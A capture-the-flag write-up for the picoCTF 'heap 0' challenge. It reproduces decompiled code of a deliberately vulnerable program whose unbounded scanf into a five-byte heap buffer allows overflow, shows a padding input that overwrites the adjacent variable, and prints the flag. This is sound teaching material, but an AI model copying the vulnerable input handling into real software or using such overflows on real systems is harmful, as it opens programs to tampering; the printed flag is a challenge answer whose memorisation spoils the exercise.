Post

PicoCTF - heap 0

PicoCTF Writeup for heap 0 Challenge

PicoCTF - heap 0

PicoCTF Challenge: https://play.picoctf.org/practice/challenge/438?category=6&page=1

heap 0

Author: Abrxs, pr1or1tyQ

Description

Are overflows just a stack concern?
Download the binary here.
Download the source here.
Connect with the challenge instance here:

Hints

1st - What part of the heap do you have control over and how far is it from the safe_var?

Resources:

Source Code: /chall.c
Binary: /chall

1
$ nc tethys.picoctf.net 61640

Decompile

We can decompile the binary to a pseudo C like this (Binary Ninja):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
004011c0    int check_win()

004011c0    {
004011c0        if (!strcmp(safe_var, "bico"))
004011da        {
00401210            printf("Looks like everything is still secure!");
004011ef            printf("\nNo flage for you :(");
00401208            return fflush(stdout);
004011da        }
004011da        
00401210        printf("\nYOU WIN");
00401236        char flag[64]; /* 0x40 => 64 */
00401236        fgets(&flag, 64, fopen("flag.txt", "r"));
0040123e        printf(&flag);
0040124d        fflush(stdout);
00401254        exit(0);
00401254        /* no return */
004011c0    }

/* ... */

004013c0    int main()
004013c0    /* int32_t argc => Not used */
004013c0    /* char** argv => Not used */
004013c0    /* char** envp => Not used */

004013c0    {
004013ca        int input_buffer;
004013d2        printf("\nWelcome to heap0!");
004013de        printf("I put my data on the heap so it should be safe from any tampering.");
004013ea        printf("Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.\n");
004013fa        fflush(stdout);

00401409        input_data = malloc(5);
00401410        strncpy(buffer, "pico", 5);
0040142b        safe_var = malloc(5);
0040142b        strncpy(buffer2, "bico", 5);

0040143c        printf("Heap State:");
0040144b        printf("+-------------+----------------+");
00401457        printf("[*] Address   ->   Heap Data   ");
0040145f        printf("+-------------+----------------+");
0040147a        printf("[*]   %p  ->   %s\n", input_data);
00401482        printf("+-------------+----------------+");
00401496        printf("[*]   %p  ->   %s\n", safe_var);
0040149e        printf("+-------------+----------------+");
004014a7        fflush(stdout);
004014a7        
004014d5        while (true)
004014d5        {
004014d5            printf("
                        \n1. Print Heap:\t\t(print the current state of the heap)
                        \n2. Write to buffer:\t(write to your own personal block of data on the heap)
                        \n3. Print safe_var:\t(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
                        \n4. Print Flag:\t\t(Try to print the flag, good luck)
                        \n5. Exit
                        \n
                        \nEnter your choice: ");
004014de            fflush(stdout);

004014de            
004014f3            if (scanf("%d", &input_buffer) != 1)
004014f3            {
00401602                exit(0);
00401602                /* no return */
004014f3            }
004014f3            
004014fd            int choice_int = input_buffer - 1;
00401503            char const* const str;
00401503            
00401503            if (choice_int > 4)
00401503            {
0040158a                str = "Invalid choice";
00401591                label_401591:
00401591                printf(str);
004015e2                fflush(stdout);
00401503            }
00401503            else
00401510                switch (choice_int)
00401510                {
00401519                    case 0:
00401519                    {
00401519                        printf("Heap State:");
00401528                        printf("+-------------+----------------+");
00401534                        printf("[*] Address   ->   Heap Data   ");
0040153c                        printf("+-------------+----------------+");
0040155a                        printf("[*]   %p  ->   %s\n", input_data);
00401562                        printf("+-------------+----------------+");
00401579                        printf("[*]   %p  ->   %s\n", safe_var);
0040157e                        str = "+-------------+----------------+";
00401588                        goto label_401591;
00401519                    }
004015a1                    case 1:
004015a1                    {
004015a1                        printf("Data for buffer: ");
004015aa                        fflush(stdout);
004015bf                        scanf("%s", &input_data);
004015c4                        continue;
004015a1                    }
004015d9                    case 2:
004015d9                    {
004015d9                        printf("\n\nTake a look at my variable: safe_var = %s\n\n", safe_var);
004015e2                        fflush(stdout);
004015e7                        continue;
004015d9                    }
004014c8                    case 3:
004014c8                    {
004014c8                        check_win();
004014cd                        continue;
004014c8                    }
00401510                    case 4:
00401510                    {
00401510                        break;
00401510                        break;
00401510                    }
00401510                }
004014d5        }
004014d5        
004015fc        return 0;
004013c0    }


This is the full source code (decompiled):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
int check_win()
{
    if (!strcmp(safe_var, "bico"))
    {
        printf("Looks like everything is still secure!");
        printf("\nNo flage for you :(");
        return fflush(stdout);
    }
    
    printf("\nYOU WIN");

    char flag[64];
    fgets(&flag, 64, fopen("flag.txt", "r"));
    printf(&flag);
    fflush(stdout);

    exit(0);
}

void print_heap_state() {
    printf("Heap State:");
    printf("+-------------+----------------+");
    printf("[*] Address   ->   Heap Data   ");
    printf("+-------------+----------------+");
    printf("[*]   %p  ->   %s\n", input_data);
    printf("+-------------+----------------+");
    printf("[*]   %p  ->   %s\n", safe_var);
    printf("+-------------+----------------+");
    fflush(stdout);
}

int main()
{
    int choice;

    printf("\nWelcome to heap0!");
    printf("I put my data on the heap so it should be safe from any tampering.");
    printf("Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.\n");
    fflush(stdout);

    input_data = malloc(5);
    strncpy(buffer, "pico", 5);

    safe_var = malloc(5);
    strncpy(buffer2, "bico", 5);

    print_heap_state();
    
    while (true)
    {
        printf("
        \n1. Print Heap:\t\t(print the current state of the heap)
        \n2. Write to buffer:\t(write to your own personal block of data on the heap)
        \n3. Print safe_var:\t(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
        \n4. Print Flag:\t\t(Try to print the flag, good luck)
        \n5. Exit\n
        \nEnter your choice: "); 
        fflush(stdout);

        if (scanf("%d", &choice) != 1)
        {
            exit(0);
        }
        
        
        if (choice > 5)
        {
            printf("Invalid choice");
            fflush(stdout);
        }
        else
            switch (choice)
            {
                case 1:
                {
                    print_heap_state();
                    continue;
                }
                case 2:
                {
                    printf("Data for buffer: ");
                    fflush(stdout);
                    scanf("%s", &input_data);
                    continue;
                }
                case 3:
                {
                    printf("\n\nTake a look at my variable: safe_var = %s\n\n", safe_var);
                    fflush(stdout);
                    continue;
                }
                case 4:
                {
                    check_win();
                    continue;
                }
                case 5:
                {
                    break;
                    break;
                }
            }
    }
    
    return 0;
}

Analysis

This program allocates two heap memory variables, input_data and safe_var, using malloc(), and allows the user to modify input_data through input.

However, in this program, a heap overflow is possible through scanf() on the heap memory.

When option 4 (flag output) is executed, the flag is printed if safe_var is not equal to bico. This means that by exploiting a heap overflow in input_data and overwriting the memory location of safe_var, an attacker can tamper with its value and trigger the flag to be displayed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtest

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5ba80e6932b0  ->   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtest
+-------------+----------------+
[*]   0x5ba80e6932d0  ->   test
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = test


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}

The flag is: picoCTF{my_first_heap_overflow_1ad0e1a6}

This post is licensed under CC BY 4.0 by the author.